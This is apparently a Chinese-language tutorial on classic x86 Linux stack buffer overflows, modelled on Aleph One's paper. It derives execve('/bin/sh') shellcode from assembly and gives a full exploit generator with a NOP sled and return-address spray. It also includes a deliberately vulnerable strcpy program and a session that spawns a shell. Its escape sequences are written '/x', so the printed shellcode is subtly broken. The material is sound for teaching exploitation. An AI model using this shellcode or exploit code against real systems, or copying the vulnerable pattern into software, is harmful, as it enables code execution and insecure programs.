shellcode
利用系统调用execve得到shell
1、execve函数用法
函数原型为
int execve(const char *filename, char *const argv [], char *const envp[]);
例程
$ vi t.c
int main(int argc, char **argv)
{
char *name[2] = {"/bin/sh", 0};
execve(name[0], name, 0);
return 0;
}
$ cc t.c
$ ./a.out
sh-2.05a$ exit
exit
$
2、汇编代码
汇编语句运行系统调用需使
eax = 0xb
ebx = /bin/sh字符串的地址
ecx = argv 即存储/bin/sh地址的内存位置
edx = envp 环境变量指针数组首地址
$ vi asm.c
int main()
{
__asm("jmp 1f
2: pop %ebx ;ebx 存储/bin/sh的地址
movl %ebx, 0x8(%ebx) ;ebx + 8 中存储/bin/sh的地址
xor %edx, %edx ;edx = 0
movb %dl, 0x7(%ebx) ;字符串结尾
movl %edx, 0xc(%ebx) ;空指针
movb $0xb, %al ;execve系统调用号为11
lea 0x8(%ebx), %ecx ;ecx为内存中/bin/sh地址的位置
int $0x80
1: call 2b" ;获得/bin/sh地址
);
}
执行后/bin/sh处内存赋值情况
ebx + 0 [/bin/sh ] filename
ebx + 7 [0 ]
ebx + 8 [ebx ] argv
ebx + c [0 ]
类似于char *argv[2] = {"/bin/sh", NULL};
argv = ebx + 8
得到shellcode
char shellcode[] =
"/xeb/x13/x5b/x89/x5b/x08/x31/xd2"
"/x88/x53/x07/x89/x53/x0c/xb0/x0b"
"/x8d/x4b/x08/xcd/x80/xe8/xe8/xff"
"/xff/xff/bin/sh";
共33个字节
3、main函数开始执行时esp值
系统初始化后开始执行main函数push %ebp; movl %esp, %ebp后 esp = ebp 大致为 0xbffffa98
得到最简情况下main函数开始执行时esp的值
$ vi tmp.c
void main()
{
}
(gdb) disassemble main
Dump of assembler code for function main:
0x80483d0 <main>: push %ebp
0x80483d1 <main+1>: mov %esp,%ebp
0x80483d3 <main+3>: pop %ebp
0x80483d4 <main+4>: ret
0x080483d1 in main ()
(gdb) info r esp
esp 0xbffffa98 0xbffffa98
4、溢出测试
填充用数组为
(NOP...) (shellcode) (begin of the buffer)
1> 溢出用缓冲区生成程序
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90
char shellcode[] =
"/xeb/x13/x5b/x89/x5b/x08/x31/xd2"
"/x88/x53/x07/x89/x53/x0c/xb0/x0b"
"/x8d/x4b/x08/xcd/x80/xe8/xe8/xff"
"/xff/xff/bin/sh";
unsigned int get_sp()
{
__asm__("movl %esp, %eax");
}
int main(int argc, char **argv)
{
char *buff, *ptr;
int *addr_ptr, addr;
int offset = DEFAULT_OFFSET, bsize = DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize)))
{
printf("Can't allocate memorry./n");
exit(0);
}
addr = get_sp() - offset;
printf("esp: 0x%x/n", addr + offset);
printf("Using address: 0x%x/n", addr);
ptr = buff;
addr_ptr = (int *)ptr;
for (i = 0; i < bsize; i += 4)
*(addr_ptr++) = addr;
for (i = 0; i < bsize / 2; ++i)
buff[i] = NOP;
ptr = buff + (bsize / 2 - strlen(shellcode) / 2);
for (i = 0; i < strlen(shellcode); ++i)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '/0';
memcpy(buff, "EGG=", 4);
putenv(buff);
system("/bin/bash"); /*使环境变量在新shell中有效*/
return 0;
}
2> 有溢出漏洞的程序
int main(int argc, char ** argv)
{
char buffer[512];
printf("0x%x/n", (int)buffer);
if (argc > 1)
strcpy(buffer, argv[1]);
return 0;
}
3> 溢出时用的参数
$ ./generate 612 1536
esp: 0xbffffa58
Using address: 0xbffff458
$ ./vulnerable $EGG
sh-2.05a$ exit
exit
$
可使generate 的第二个参数增大,用离shellcode更近的地址覆盖函数的返回地址
缓冲区的地址为0xbffff3f0,填充的数据开始有很多的NOP指令,从0xbffff458开始仍可以执行后面的shellcode
需注意环境变量和命令行参数放在栈空间会使main函数开始执行时 esp 的值减小
当程序中执行/bin/sh出现嵌套shell时,esp 的值已会减小
参考
Smashing The Stack For Fun And Profit by Aleph One